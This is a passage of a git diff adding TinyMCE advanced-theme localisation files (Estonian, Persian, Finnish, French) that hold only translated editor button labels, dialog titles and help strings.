v\u00e1lido para liga","accessibility_help":"Ayuda sobre Accesibilidad","accessibility_usage_title":"Uso General"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/et.js b/js/tiny_mce/themes/advanced/langs/et.js new file mode 100755 index 0000000..5c0c793 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/et.js @@ -0,0 +1 @@ +tinyMCE.addI18n('et.advanced',{"underline_desc":"Allajoonitud (Ctrl+U)","italic_desc":"Kursiiv (Ctrl+I)","bold_desc":"Rasvane (Ctrl+B)",dd:"Defineeringu kirjeldus",dt:"Defineeringu tingimus",samp:"Koodi n\u00e4ide",code:"Kood",blockquote:"Plokkviide",h6:"Heading 6",h5:"Heading 5",h4:"Heading 4",h3:"Heading 3",h2:"Heading 2",h1:"Heading 1",pre:"Eelformeeritud",address:"Aadress",div:"Div",paragraph:"Paragraaf",block:"Formaat",fontdefault:"Font","font_size":"Fondi suurus","style_select":"Stiilid","more_colors":"Rohkem v\u00e4rve","toolbar_focus":"H\u00fcppa t\u00f6\u00f6riista nuppudele - Alt+Q, H\u00fcppa redigeerijale - Alt-Z, H\u00fcppa elemendi teele - Alt-X",newdocument:"Oled sa kindel, et tahad kustutada k\u00f5ik sisud?",path:"Tee","clipboard_msg":"Kopeeri/L\u00f5ika/Kleebi ei ole Mozillas ja Firefoxis saadaval. Kas soovid rohkem infot selle probleemi kohta?","blockquote_desc":"Plokkviide","help_desc":"Abi","newdocument_desc":"Uus dokument","image_props_desc":"Pildi kirjeldus","paste_desc":"Kleebi","copy_desc":"Kopeeri","cut_desc":"L\u00f5ika","anchor_desc":"Sisesta/redigeeri ankur","visualaid_desc":"L\u00fclita \u00fcmber juhtjooned/n\u00e4htamatud elemendid","charmap_desc":"Sisesta kohandatud kirjam\u00e4rk","backcolor_desc":"Vali tausta v\u00e4rv","forecolor_desc":"Vali teksti v\u00e4rv","custom1_desc":"Teie kohandatud kirjeldus siia","removeformat_desc":"Eemalda vormindus","hr_desc":"Sisesta horisontaalne joonlaud","sup_desc":"\u00dclaindeks","sub_desc":"Alaindeks","code_desc":"Redigeeri HTML l\u00e4htekoodi","cleanup_desc":"Puhasta segane kood","image_desc":"Sisesta/redigeeri pilt","unlink_desc":"Eemalda link","link_desc":"Sisesta/redigeeri link","redo_desc":"Tee uuesti (Ctrl+Y)","undo_desc":"V\u00f5ta tagasi (Ctrl+Z)","indent_desc":"Taanda sisse","outdent_desc":"Taanda v\u00e4lja","numlist_desc":"Korrap\u00e4rane loetelu","bullist_desc":"Ebakorrap\u00e4rane loetelu","justifyfull_desc":"T\u00e4isjoondus","justifyright_desc":"Parem joondus","justifycenter_desc":"Keskjoondus","justifyleft_desc":"Vasak joondus","striketrough_desc":"L\u00e4bijoonitud","help_shortcut":"Vajuta ALT-F10 t\u00f6\u00f6riistariba jaoks. Vajuta ALT-0 abi saamiseks","rich_text_area":"Vormindatud tekstiala","shortcuts_desc":"K\u00e4ttesaadavus spikker",toolbar:"T\u00f6\u00f6riistariba","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/et_dlg.js b/js/tiny_mce/themes/advanced/langs/et_dlg.js new file mode 100755 index 0000000..2226a12 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/et_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('et.advanced_dlg',{"link_list":"Lingi loetelu","link_is_external":"URL, mille sisestasite, tundub olevat v\u00e4line link, kas soovite, et lisataks http:// eesliite?","link_is_email":"URL, mille te sisestasite, tundub olevat emaili aadress, kas soovite, et lisataks mailto: eesliite?","link_titlefield":"Tiitel","link_target_blank":"Ava link uues aknas","link_target_same":"Ava link samas aknas","link_target":"Sihtala","link_url":"Link URL","link_title":"Sisesta/redigeeri link","image_align_right":"Parem","image_align_left":"Vasak","image_align_textbottom":"Teksti p\u00f5hi","image_align_texttop":"Teksti tipp","image_align_bottom":"Alumine","image_align_middle":"Keskmine","image_align_top":"\u00dclemine","image_align_baseline":"Kirjajoondus","image_align":"Reastus","image_hspace":"Horisontaalne vahe","image_vspace":"Vertikaalne vahe","image_dimensions":"Dimensioonid","image_alt":"Pildi kirjeldus","image_list":"Pildi loend","image_border":"Raam","image_src":"Pildi URL","image_title":"Sisestal/redigeeri pilt","charmap_title":"Vali kohandatud t\u00e4hem\u00e4rk","colorpicker_name":"Nimi:","colorpicker_color":"V\u00e4rv:","colorpicker_named_title":"Nimetatud v\u00e4rvid","colorpicker_named_tab":"Nimetatud","colorpicker_palette_title":"Palett v\u00e4rvid","colorpicker_palette_tab":"Palett","colorpicker_picker_title":"V\u00e4rvi korjaja","colorpicker_picker_tab":"Korjaja","colorpicker_title":"Vali v\u00e4rv","code_wordwrap":"S\u00f5na pakkimine","code_title":"HTML koodi redaktor","anchor_name":"Ankru nimi","anchor_title":"Sisesta/redigeeri ankur","about_loaded":"Laetud lisad","about_version":"Versioon","about_author":"Autor","about_plugin":"Lisa","about_plugins":"Lisad","about_license":"Litsents","about_help":"Abi","about_general":"Teave","about_title":"Teave TinyMCE kohta","charmap_usage":"Kasuta navigeerimiseks vasak ja parem nooli.","anchor_invalid":"Palun m\u00e4\u00e4ra korrektne ankru nimi.","accessibility_help":"K\u00e4ttesaadavus spikker","accessibility_usage_title":"\u00dcldine kasutus"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/fa.js b/js/tiny_mce/themes/advanced/langs/fa.js new file mode 100755 index 0000000..4302960 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/fa.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fa.advanced',{"underline_desc":"\u0645\u062a\u0646 \u0632\u06cc\u0631 \u062e\u0637 \u062f\u0627\u0631 (Ctrl+U)","italic_desc":"\u0645\u062a\u0646 \u0645\u0648\u0631\u0628 (Ctrl+I)","bold_desc":"\u0645\u062a\u0646 \u0636\u062e\u06cc\u0645 (Ctrl+B)",dd:"\u062a\u0639\u0631\u06cc\u0641 \u062a\u0648\u0636\u06cc\u062d",dt:"\u062a\u0639\u0631\u06cc\u0641 \u0648\u0627\u0698\u0647 ",samp:"\u0646\u0645\u0648\u0646\u0647 \u06a9\u062f",code:"\u06a9\u062f",blockquote:"\u0628\u0644\u0648\u06a9 \u0646\u0642\u0644 \u0642\u0648\u0644",h6:"\u0639\u0646\u0648\u0627\u0646 \u06af\u0630\u0627\u0631\u06cc 6",h5:"\u0639\u0646\u0648\u0627\u0646 \u06af\u0630\u0627\u0631\u06cc 5",h4:"\u0639\u0646\u0648\u0627\u0646 \u06af\u0630\u0627\u0631\u06cc 4",h3:"\u0639\u0646\u0648\u0627\u0646 \u06af\u0630\u0627\u0631\u06cc 3",h2:"\u0639\u0646\u0648\u0627\u0646 \u06af\u0630\u0627\u0631\u06cc 2",h1:"\u0639\u0646\u0648\u0627\u0646 \u06af\u0630\u0627\u0631\u06cc \u06f1",pre:"\u0642\u0627\u0644\u0628 \u0628\u0646\u062f\u06cc \u0634\u062f\u0647 \u0627\u0632 \u0642\u0628\u0644",address:"\u0622\u062f\u0631\u0633",div:"Div",paragraph:"\u067e\u0627\u0631\u0627\u06af\u0631\u0627\u0641",block:"\u0642\u0627\u0644\u0628",fontdefault:"\u062e\u0627\u0646\u0648\u0627\u062f\u0647 \u0642\u0644\u0645","font_size":"\u0627\u0646\u062f\u0627\u0632\u0647 \u0642\u0644\u0645","style_select":"\u0627\u0633\u062a\u06cc\u0644 \u0647\u0627","more_colors":"\u0631\u0646\u06af\u0647\u0627\u06cc \u0628\u06cc\u0634\u062a\u0631","toolbar_focus":"\u067e\u0631\u0634 \u0628\u0647 \u062f\u06a9\u0645\u0647 \u0647\u0627\u06cc \u0627\u0628\u0632\u0627\u0631 - Alt+Q \u060c \u067e\u0631\u0634 \u0628\u0647 \u0648\u06cc\u0631\u0627\u06cc\u0634\u06af\u0631 - Alt-Z \u060c \u067e\u0631\u0634 \u0628\u0647 \u0645\u0633\u06cc\u0631 \u0639\u0646\u0635\u0631 - Alt-X",newdocument:"\u0622\u06cc\u0627 \u0634\u0645\u0627 \u0645\u06cc \u062e\u0648\u0627\u0647\u06cc\u062f \u062a\u0627 \u062a\u0645\u0627\u0645\u06cc \u0645\u062d\u062a\u0648\u0627 \u0631\u0627 \u067e\u0627\u06a9 \u06a9\u0646\u06cc\u062f\u061f",path:"\u0645\u0633\u06cc\u0631","clipboard_msg":"\u06a9\u067e\u06cc/\u0628\u0631\u0634 (Cut)/\u0686\u0633\u0628\u0627\u0646\u062f\u0646 (Paste) \u062f\u0631 Mozilla \u0648 Firefox \u0642\u0627\u0628\u0644 \u062f\u0633\u062a\u0631\u0633 \u0646\u0645\u06cc \u0628\u0627\u0634\u062f.\\r\n\u0622\u06cc\u0627 \u0634\u0645\u0627 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0628\u06cc\u0634\u062a\u0631\u06cc \u062f\u0631\u0628\u0627\u0631\u0647 \u0627\u06cc\u0646 \u0645\u0648\u0636\u0648\u0639 \u0645\u06cc \u062e\u0648\u0627\u0647\u06cc\u062f\u061f","blockquote_desc":"\u0628\u0644\u0648\u06a9 \u0646\u0642\u0644 \u0642\u0648\u0644","help_desc":"\u0631\u0627\u0647\u0646\u0645\u0627\u06cc\u06cc","newdocument_desc":"\u0633\u0646\u062f \u062c\u062f\u06cc\u062f","image_props_desc":"\u0645\u0634\u062e\u0635\u0627\u062a \u062a\u0635\u0648\u06cc\u0631","paste_desc":"\u0686\u0633\u0628\u0627\u0646\u062f\u0646 (Paste)","copy_desc":"\u06a9\u067e\u06cc","cut_desc":"\u0628\u0631\u0634 (Cut)","anchor_desc":"\u062f\u0631\u062c/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u0644\u0646\u06af\u0631","visualaid_desc":"\u062a\u0639\u0648\u06cc\u0636 \u0639\u0646\u0627\u0635\u0631 \u062e\u0637\u0648\u0637 \u0631\u0627\u0647\u0646\u0645\u0627/\u063a\u06cc\u0631 \u0642\u0627\u0628\u0644 \u0646\u0645\u0627\u06cc\u0627\u0646","charmap_desc":"\u062f\u0631\u062c \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 \u0633\u0641\u0627\u0631\u0634\u06cc","backcolor_desc":"\u0627\u0646\u062a\u062e\u0627\u0628 \u0631\u0646\u06af \u0632\u0645\u06cc\u0646\u0647","forecolor_desc":"\u0627\u0646\u062a\u062e\u0627\u0628 \u0631\u0646\u06af \u0645\u062a\u0646","custom1_desc":"\u062a\u0648\u0636\u06cc\u062d \u0633\u0641\u0627\u0631\u0634\u06cc \u0634\u0645\u0627 \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627","removeformat_desc":"\u062d\u0630\u0641 \u0642\u0627\u0644\u0628 \u0628\u0646\u062f\u06cc","hr_desc":"\u062f\u0631\u062c \u062e\u0637 \u0627\u0641\u0642\u06cc","sup_desc":"\u0628\u0627\u0644\u0627 \u0646\u0648\u06cc\u0633","sub_desc":"\u067e\u0627\u06cc\u06cc\u0646 \u0646\u0648\u06cc\u0633","code_desc":"\u0648\u06cc\u0631\u0627\u06cc\u0634 \u0633\u0648\u0631\u0633 HTML","cleanup_desc":"\u067e\u0627\u06a9 \u0633\u0627\u0632\u06cc \u06a9\u062f \u0647\u0627\u06cc \u0628\u0647\u0645 \u062e\u0648\u0631\u062f\u0647","image_desc":"\u062f\u0631\u062c/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u062a\u0635\u0648\u06cc\u0631","unlink_desc":"\u063a\u06cc\u0631 \u0644\u06cc\u0646\u06a9 \u06a9\u0631\u062f\u0646","link_desc":"\u062f\u0631\u062c/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u0644\u06cc\u0646\u06a9","redo_desc":"\u0627\u0646\u062c\u0627\u0645 \u0639\u0645\u0644 \u0628\u0639\u062f (Ctrl+Y)","undo_desc":"\u0627\u0646\u062c\u0627\u0645 \u0639\u0645\u0644 \u0642\u0628\u0644 (Ctrl+Z)","indent_desc":"\u062a\u0648\u0631\u0641\u062a\u06af\u06cc","outdent_desc":"\u0628\u06cc\u0631\u0648\u0646 \u0622\u0645\u062f\u06af\u06cc","numlist_desc":"\u0644\u06cc\u0633\u062a \u0645\u0631\u062a\u0628","bullist_desc":"\u0644\u06cc\u0633\u062a \u0646\u0627\u0645\u0631\u062a\u0628","justifyfull_desc":"\u0647\u0645 \u062a\u0631\u0627\u0632 \u06a9\u0631\u062f\u0646","justifyright_desc":"\u062a\u0631\u0627\u0632 \u0631\u0627\u0633\u062a","justifycenter_desc":"\u062a\u0631\u0627\u0632 \u0648\u0633\u0637","justifyleft_desc":"\u062a\u0631\u0627\u0632 \u0686\u067e","striketrough_desc":"\u062e\u0637 \u0648\u0633\u0637",toolbar:"\u0646\u0648\u0627\u0631 \u0627\u0628\u0632\u0627\u0631","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/fa_dlg.js b/js/tiny_mce/themes/advanced/langs/fa_dlg.js new file mode 100755 index 0000000..760dd7f --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/fa_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fa.advanced_dlg',{"link_list":"\u0644\u06cc\u0633\u062a \u0644\u06cc\u0646\u06a9","link_is_external":"URL \u06cc \u06a9\u0647 \u0634\u0645\u0627 \u0648\u0627\u0631\u062f \u0646\u0645\u0648\u062f\u0647 \u0627\u06cc\u062f \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc \u0622\u06cc\u062f \u06a9\u0647 \u0644\u06cc\u0646\u06a9 \u062e\u0627\u0631\u062c\u06cc \u0645\u06cc \u0628\u0627\u0634\u062f \u060c \u0622\u06cc\u0627 \u0645\u0627\u06cc\u0644\u06cc\u062f \u062a\u0627 \u067e\u06cc\u0634\u0648\u0646\u062f \u0644\u0627\u0632\u0645\u0647 //:http \u0631\u0627 \u0627\u0636\u0627\u0641\u0647 \u0646\u0645\u0627\u0626\u06cc\u062f\u061f","link_is_email":"URL \u06cc \u06a9\u0647 \u0634\u0645\u0627 \u0648\u0627\u0631\u062f \u0646\u0645\u0648\u062f\u0647 \u0627\u06cc\u062f \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc \u0622\u06cc\u062f \u06a9\u0647 \u06cc\u06a9 \u0622\u062f\u0631\u0633 \u0627\u06cc\u0645\u06cc\u0644 \u0645\u06cc \u0628\u0627\u0634\u062f \u060c \u0622\u06cc\u0627 \u0645\u0627\u06cc\u0644\u06cc\u062f \u062a\u0627 \u067e\u06cc\u0634\u0648\u0646\u062f \u0627\u062c\u0628\u0627\u0631\u06cc \u0644\u0627\u0632\u0645\u0647 :mailto \u0631\u0627 \u0627\u0636\u0627\u0641\u0647 \u0646\u0645\u0627\u0626\u06cc\u062f\u061f","link_titlefield":"\u0639\u0646\u0648\u0627\u0646","link_target_blank":"\u0628\u0627\u0632 \u0634\u062f\u0646 \u0644\u06cc\u0646\u06a9 \u062f\u0631 \u06cc\u06a9 \u067e\u0646\u062c\u0631\u0647 \u062c\u062f\u06cc\u062f","link_target_same":"\u0628\u0627\u0632\u0634\u062f\u0646 \u0644\u06cc\u0646\u06a9 \u062f\u0631 \u0647\u0645\u0627\u0646 \u067e\u0646\u062c\u0631\u0647","link_target":"\u0645\u0642\u0635\u062f (Target)","link_url":"URL \u0644\u06cc\u0646\u06a9","link_title":"\u062f\u0631\u062c/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u0644\u06cc\u0646\u06a9","image_align_right":"\u0631\u0627\u0633\u062a","image_align_left":"\u0686\u067e","image_align_textbottom":"\u067e\u0627\u06cc\u06cc\u0646 \u0645\u062a\u0646","image_align_texttop":"\u0628\u0627\u0644\u0627 \u0645\u062a\u0646","image_align_bottom":"\u067e\u0627\u06cc\u06cc\u0646","image_align_middle":"\u0648\u0633\u0637","image_align_top":"\u0628\u0627\u0644\u0627","image_align_baseline":"\u062e\u0637 \u067e\u0627\u06cc\u0647","image_align":"\u062a\u0631\u0627\u0632","image_hspace":"\u0641\u0627\u0635\u0644\u0647 \u0627\u0641\u0642\u06cc","image_vspace":"\u0641\u0627\u0635\u0644\u0647 \u0639\u0645\u0648\u062f\u06cc","image_dimensions":"\u0627\u0628\u0639\u0627\u062f","image_alt":"\u062a\u0648\u0636\u06cc\u062d \u062a\u0635\u0648\u06cc\u0631","image_list":"\u0644\u06cc\u0633\u062a \u062a\u0635\u0648\u06cc\u0631","image_border":"\u062d\u0627\u0634\u06cc\u0647","image_src":"URL \u062a\u0635\u0648\u06cc\u0631","image_title":"\u062f\u0631\u062c/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u062a\u0635\u0648\u06cc\u0631","charmap_title":"\u0627\u0646\u062a\u062e\u0627\u0628 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 \u0633\u0641\u0627\u0631\u0634\u06cc","colorpicker_name":"\u0646\u0627\u0645:","colorpicker_color":"\u0631\u0646\u06af:","colorpicker_named_title":"\u0631\u0646\u06af \u0647\u0627\u06cc \u0646\u0627\u0645 \u062f\u0627\u0631","colorpicker_named_tab":"\u0646\u0627\u0645 \u062f\u0627\u0631","colorpicker_palette_title":"\u0631\u0646\u06af \u0647\u0627\u06cc \u0627\u0644\u06af\u0648","colorpicker_palette_tab":"\u0627\u0644\u06af\u0648","colorpicker_picker_title":"\u0627\u0646\u062a\u062e\u0627\u0628 \u06a9\u0646\u0646\u062f\u0647 \u0631\u0646\u06af","colorpicker_picker_tab":"\u0627\u0646\u062a\u062e\u0627\u0628 \u06a9\u0646\u0646\u062f\u0647","colorpicker_title":"\u0627\u0646\u062a\u062e\u0627\u0628 \u06cc\u06a9 \u0631\u0646\u06af","code_wordwrap":"\u0634\u06a9\u0633\u062a\u0646 \u062e\u0637\u0648\u0637","code_title":"\u0648\u06cc\u0631\u0627\u06cc\u0634 \u0633\u0648\u0631\u0633 HTML","anchor_name":"\u0646\u0627\u0645 \u0644\u0646\u06af\u0631 (Anchor)","anchor_title":"\u062f\u0631\u062c/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u0644\u0646\u06af\u0631 (Anchor)","about_loaded":"\u0627\u0644\u062d\u0627\u0642\u0627\u062a \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0634\u062f\u0647","about_version":"\u0646\u0633\u062e\u0647","about_author":"\u0645\u0624\u0644\u0641","about_plugin":"\u0627\u0644\u062d\u0627\u0642\u0647","about_plugins":"\u0627\u0644\u062d\u0627\u0642\u0627\u062a","about_license":"\u0644\u06cc\u0633\u0627\u0646\u0633","about_help":"\u0631\u0627\u0647\u0646\u0645\u0627\u06cc\u06cc","about_general":"\u062f\u0631\u0628\u0627\u0631\u0647","about_title":"\u062f\u0631\u0628\u0627\u0631\u0647 TinyMCE","anchor_invalid":"\u0644\u0637\u0641\u0627 \u06cc\u06a9 \u0646\u0627\u0645 \u0645\u0639\u062a\u0628\u0631 \u0628\u0631\u0627\u06cc \u0644\u0646\u06af\u0631 (anchor) \u0627\u0646\u062a\u062e\u0627\u0628 \u06a9\u0646\u06cc\u062f.","charmap_usage":"Use left and right arrows to navigate.","accessibility_help":"Accessibility Help","accessibility_usage_title":"General Usage"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/fi.js b/js/tiny_mce/themes/advanced/langs/fi.js new file mode 100755 index 0000000..2edb8f6 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/fi.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fi.advanced',{"underline_desc":"Alleviivattu (Ctrl+U)","italic_desc":"Kursivoitu (Ctrl+I)","bold_desc":"Lihavoitu (Ctrl+B)",dd:"M\u00e4\u00e4rittelyn kuvaus",dt:"M\u00e4\u00e4rittelyn ehto ",samp:"Koodiesimerkki",code:"Koodi",blockquote:"Pitk\u00e4 lainaus",h6:"Otsikko 6",h5:"Otsikko 5",h4:"Otsikko 4",h3:"Otsikko 3",h2:"Otsikko 2",h1:"Otsikko 1",pre:"Esimuotoiltu (pre)",address:"Osoite",div:"Div",paragraph:"Kappale",block:"Muotoilu",fontdefault:"Kirjasin","font_size":"Kirjasinkoko","style_select":"Tyylit","more_colors":"Enemm\u00e4n v\u00e4rej\u00e4","toolbar_focus":"Siirry ty\u00f6kaluihin - Alt+Q, Siirry tekstieditoriin - Alt-Z, Siirry elementin polkuun - Alt-X",newdocument:"Haluatko varmasti tyhjent\u00e4\u00e4 kaiken sis\u00e4ll\u00f6n?",path:"Polku","clipboard_msg":"Kopioi/Leikkaa/Liit\u00e4 -painikkeet eiv\u00e4t toimi Mozilla ja Firefox -selaimilla. Voit kuitenkin k\u00e4ytt\u00e4\u00e4 n\u00e4pp\u00e4inyhdistelmi\u00e4 kopioimiseen (Ctrl+C), leikkaamiseen (Ctrl+X) ja liitt\u00e4miseen (Ctrl+V). Haluatko lis\u00e4\u00e4 tietoa?","blockquote_desc":"Pitk\u00e4 lainaus","help_desc":"Ohje","newdocument_desc":"Uusi tiedosto","image_props_desc":"Kuvan ominaisuudet","paste_desc":"Liit\u00e4","copy_desc":"Kopioi","cut_desc":"Leikkaa","anchor_desc":"Lis\u00e4\u00e4/Muokkaa ankkuri","visualaid_desc":"Suuntaviivat/N\u00e4kym\u00e4tt\u00f6m\u00e4t elementit","charmap_desc":"Lis\u00e4\u00e4 erikoismerkki","backcolor_desc":"Valitse taustan v\u00e4ri","forecolor_desc":"Valitse tekstin v\u00e4ri","custom1_desc":"Oma kuvauksesi t\u00e4h\u00e4n","removeformat_desc":"Poista muotoilu","hr_desc":"Lis\u00e4\u00e4 vaakasuora viivain","sup_desc":"Yl\u00e4indeksi","sub_desc":"Alaindeksi","code_desc":"Muokkaa HTML-koodia","cleanup_desc":"Siisti sekainen koodi","image_desc":"Lis\u00e4\u00e4/muuta kuva","unlink_desc":"Poista linkki","link_desc":"Lis\u00e4\u00e4/muuta linkki","redo_desc":"Tee uudelleen (Ctrl+Y)","undo_desc":"Peru (Ctrl+Z)","indent_desc":"Sisenn\u00e4","outdent_desc":"Loitonna","numlist_desc":"J\u00e4rjestetty lista","bullist_desc":"J\u00e4rjest\u00e4m\u00e4t\u00f6n lista","justifyfull_desc":"Tasattu","justifyright_desc":"Tasaus oikealle","justifycenter_desc":"Keskitetty","justifyleft_desc":"Tasaus vasemmalle","striketrough_desc":"Yliviivattu","help_shortcut":"Paina ALT F10 n\u00e4hd\u00e4ksesi ty\u00f6kalurivin. Paina ALT-0 n\u00e4hd\u00e4ksesi ohjeen.","rich_text_area":"Rikastettu tekstialue","shortcuts_desc":"Saavutettavuusohje",toolbar:"Ty\u00f6kalurivi","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/fi_dlg.js b/js/tiny_mce/themes/advanced/langs/fi_dlg.js new file mode 100755 index 0000000..0024cbd --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/fi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fi.advanced_dlg',{"link_list":"Linkkilista","link_is_external":"Antamasi osoite n\u00e4ytt\u00e4\u00e4 johtavan ulkopuoliselle sivustolle. Haluatko lis\u00e4t\u00e4 linkin eteen http://-etuliitteen? (suositus)","link_is_email":"Antamasi osoite n\u00e4ytt\u00e4\u00e4 olevan s\u00e4hk\u00f6postiosoite. Haluatko lis\u00e4t\u00e4 siihen mailto:-etuliitteen?","link_titlefield":"Otsikko","link_target_blank":"Avaa linkki uuteen ikkunaan","link_target_same":"Avaa linkki samassa ikkunassa","link_target":"Kohde","link_url":"Linkin osoite","link_title":"Lis\u00e4\u00e4/muuta linkki","image_align_right":"Oikealle","image_align_left":"Vasemmalle","image_align_textbottom":"Tekstin alaosaan","image_align_texttop":"Tekstin yl\u00e4osaan","image_align_bottom":"Alas","image_align_middle":"Keskelle","image_align_top":"Yl\u00f6s","image_align_baseline":"Tekstin tasossa","image_align":"Tasaus","image_hspace":"Vaakasuuntainen tila","image_vspace":"Pystysuuntainen tila","image_dimensions":"Mitat","image_alt":"Kuvan kuvaus","image_list":"Kuvalista","image_border":"Reunus","image_src":"Kuvan osoite","image_title":"Lis\u00e4\u00e4/muokkaa kuvaa","charmap_title":"Valitse erikoismerkki","colorpicker_name":"Nimi:","colorpicker_color":"V\u00e4ri:","colorpicker_named_title":"Nimetyt v\u00e4rit","colorpicker_named_tab":"Nimetty","colorpicker_palette_title":"V\u00e4ripaletti","colorpicker_palette_tab":"Paletti","colorpicker_picker_title":"V\u00e4rin valitsin","colorpicker_picker_tab":"Valitsin","colorpicker_title":"Valitse v\u00e4ri","code_wordwrap":"Automaattinen rivinvaihto","code_title":"HTML-koodin muokkaus","anchor_name":"Ankkurin nimi","anchor_title":"Liit\u00e4/muokkaa ankkuria","about_loaded":"Ladatut lis\u00e4osat","about_version":"Versio","about_author":"Kirjoittaja","about_plugin":"Lis\u00e4osa","about_plugins":"Lis\u00e4osat","about_license":"Lisenssi","about_help":"Ohje","about_general":"Tietoja","about_title":"Tietoja TinyMCE:st\u00e4","charmap_usage":"K\u00e4yt\u00e4 vasenta ja oikeata nuolin\u00e4pp\u00e4int\u00e4 navigointiin.","anchor_invalid":"Ole hyv\u00e4 ja anna hyv\u00e4ksytty ankkurin nimi.","accessibility_help":"Saavutettavuusohje","accessibility_usage_title":"Yleinen k\u00e4ytt\u00f6"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/fr.js b/js/tiny_mce/themes/advanced/langs/fr.js new file mode 100755 index 0000000..1e91abb --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/fr.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fr.advanced',{"underline_desc":"Soulign\u00e9 (Ctrl+U)","italic_desc":"Italique (Ctrl+I)","bold_desc":"Gras (Ctrl+B)",dd:"D\u00e9finition du terme",dt:"Terme \u00e0 d\u00e9finir",samp:"Exemple de code",code:"Code",blockquote:"Bloc de citation",h6:"Titre 6",h5:"Titre 5",h4:"Titre 4",h3:"Titre 3",h2:"Titre 2",h1:"Titre 1",pre:"Pr\u00e9format\u00e9",address:"Adresse",div:"Div",paragraph:"Paragraphe",block:"Format",fontdefault:"Police","font_size":"Taille police","style_select":"Styles","more_colors":"Plus de couleurs","toolbar_focus":"Atteindre les boutons de l\'\u00e9diteur - Alt+Q, Aller \u00e0 l\'\u00e9diteur - Alt-Z, Aller au chemin de l\'\u00e9l\u00e9ment - Alt-X",newdocument:"\u00cates-vous s\u00fbr de vouloir effacer l\'int\u00e9gralit\u00e9 du document ?",path:"Chemin","clipboard_msg":"Les fonctions Copier/Couper/Coller ne sont pas valables sur Mozilla et Firefox.\nSouhaitez-vous avoir plus d\'informations sur ce sujet ?","blockquote_desc":"Citation","help_desc":"Aide","newdocument_desc":"Nouveau document","image_props_desc":"Propri\u00e9t\u00e9s de l\'image","paste_desc":"Coller","copy_desc":"Copier","cut_desc":"Couper","anchor_desc":"Ins\u00e9rer / \u00e9diter une ancre","visualaid_desc":"Activer / d\u00e9sactiver les guides et les \u00e9l\u00e9ments invisibles","charmap_desc":"Ins\u00e9rer des caract\u00e8res sp\u00e9ciaux","backcolor_desc":"Choisir la couleur de surlignage","forecolor_desc":"Choisir la couleur du texte","custom1_desc":"Votre description personnalis\u00e9e ici","removeformat_desc":"Supprimer le formatage","hr_desc":"Ins\u00e9rer un trait horizontal","sup_desc":"Exposant","sub_desc":"Indice","code_desc":"\u00c9diter le code source HTML","cleanup_desc":"Nettoyer le code","image_desc":"Ins\u00e9rer / \u00e9diter l\'image","unlink_desc":"Supprimer le lien","link_desc":"Ins\u00e9rer / \u00e9diter le lien","redo_desc":"R\u00e9tablir (Ctrl+Y)","undo_desc":"Annuler (Ctrl+Z)","indent_desc":"Indenter","outdent_desc":"Retirer l\'indentation","numlist_desc":"Liste num\u00e9rot\u00e9e","bullist_desc":"Liste \u00e0 puces","justifyfull_desc":"Justifi\u00e9","justifyright_desc":"Align\u00e9 \u00e0 droite","justifycenter_desc":"Centr\u00e9","justifyleft_desc":"Align\u00e9 \u00e0 gauche","striketrough_desc":"Barr\u00e9","help_shortcut":"Faites ALT-F10 pour acc\u00e9der \u00e0 la barre d\'outils. Faites ALT-0 pour acc\u00e9der \u00e0 l\'aide","rich_text_area":"Zone de texte enrichi","shortcuts_desc":"Aides \u00e0 l\'accessibilit\u00e9",toolbar:"Barre d\'outils","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/fr_dlg.js b/js/tiny_mce/themes/advanced/langs/fr_dlg.js new file mode 100755 index 0000000..97b6b52 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/fr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fr.advanced_dlg',{"link_list":"Liste de liens","link_is_external":"L\'URL que vous avez saisie semble \u00eatre une adresse web externe. Souhaitez-vous ajouter 